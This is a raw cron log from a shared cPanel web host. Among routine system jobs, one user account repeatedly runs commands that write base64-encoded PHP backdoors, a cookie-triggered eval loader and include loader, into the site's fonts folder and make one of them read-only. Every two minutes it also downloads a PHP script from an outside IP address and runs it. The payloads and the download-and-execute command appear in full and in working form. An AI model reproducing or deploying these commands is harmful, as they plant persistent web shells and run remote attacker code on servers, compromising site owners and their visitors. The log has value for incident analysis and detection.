Sep  1 17:28:01 ip-184-168-122-23 CROND[29712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:29:01 ip-184-168-122-23 CROND[29894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:29:01 ip-184-168-122-23 CROND[29898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:29:01 ip-184-168-122-23 CROND[29896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:29:01 ip-184-168-122-23 CROND[29897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:30:01 ip-184-168-122-23 CROND[29982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:30:01 ip-184-168-122-23 CROND[29983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:30:01 ip-184-168-122-23 CROND[29988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:30:01 ip-184-168-122-23 CROND[29990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:30:01 ip-184-168-122-23 CROND[29989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:30:01 ip-184-168-122-23 CROND[29987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:30:01 ip-184-168-122-23 CROND[29993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:30:01 ip-184-168-122-23 CROND[29992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:31:01 ip-184-168-122-23 CROND[30085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:31:01 ip-184-168-122-23 CROND[30087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:31:01 ip-184-168-122-23 CROND[30088]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:31:01 ip-184-168-122-23 CROND[30089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:31:01 ip-184-168-122-23 CROND[30090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:32:01 ip-184-168-122-23 CROND[30171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:32:01 ip-184-168-122-23 CROND[30173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:32:01 ip-184-168-122-23 CROND[30175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:32:01 ip-184-168-122-23 CROND[30174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:32:01 ip-184-168-122-23 CROND[30177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:33:01 ip-184-168-122-23 CROND[30280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:33:01 ip-184-168-122-23 CROND[30283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:33:01 ip-184-168-122-23 CROND[30282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:33:01 ip-184-168-122-23 CROND[30284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:34:01 ip-184-168-122-23 CROND[30505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:34:01 ip-184-168-122-23 CROND[30507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:34:01 ip-184-168-122-23 CROND[30509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:34:01 ip-184-168-122-23 CROND[30510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:34:01 ip-184-168-122-23 CROND[30508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:35:01 ip-184-168-122-23 CROND[30603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:35:01 ip-184-168-122-23 CROND[30605]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:35:01 ip-184-168-122-23 CROND[30607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:35:01 ip-184-168-122-23 CROND[30608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:35:01 ip-184-168-122-23 CROND[30612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:35:01 ip-184-168-122-23 CROND[30609]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 17:35:01 ip-184-168-122-23 CROND[30613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:35:01 ip-184-168-122-23 CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:36:01 ip-184-168-122-23 CROND[30712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:36:02 ip-184-168-122-23 CROND[30714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:36:02 ip-184-168-122-23 CROND[30715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:36:02 ip-184-168-122-23 CROND[30713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:36:02 ip-184-168-122-23 CROND[30716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:37:02 ip-184-168-122-23 CROND[30813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:37:02 ip-184-168-122-23 CROND[30816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:37:02 ip-184-168-122-23 CROND[30817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:37:02 ip-184-168-122-23 CROND[30815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:38:01 ip-184-168-122-23 CROND[30896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:38:01 ip-184-168-122-23 CROND[30898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:38:01 ip-184-168-122-23 CROND[30899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:38:01 ip-184-168-122-23 CROND[30900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:38:01 ip-184-168-122-23 CROND[30901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:39:01 ip-184-168-122-23 CROND[31076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:39:01 ip-184-168-122-23 CROND[31078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:39:01 ip-184-168-122-23 CROND[31079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:39:01 ip-184-168-122-23 CROND[31081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:39:01 ip-184-168-122-23 CROND[31080]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 17:40:01 ip-184-168-122-23 CROND[31183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:40:01 ip-184-168-122-23 CROND[31188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:40:01 ip-184-168-122-23 CROND[31191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:40:01 ip-184-168-122-23 CROND[31190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:40:01 ip-184-168-122-23 CROND[31185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:40:01 ip-184-168-122-23 CROND[31189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
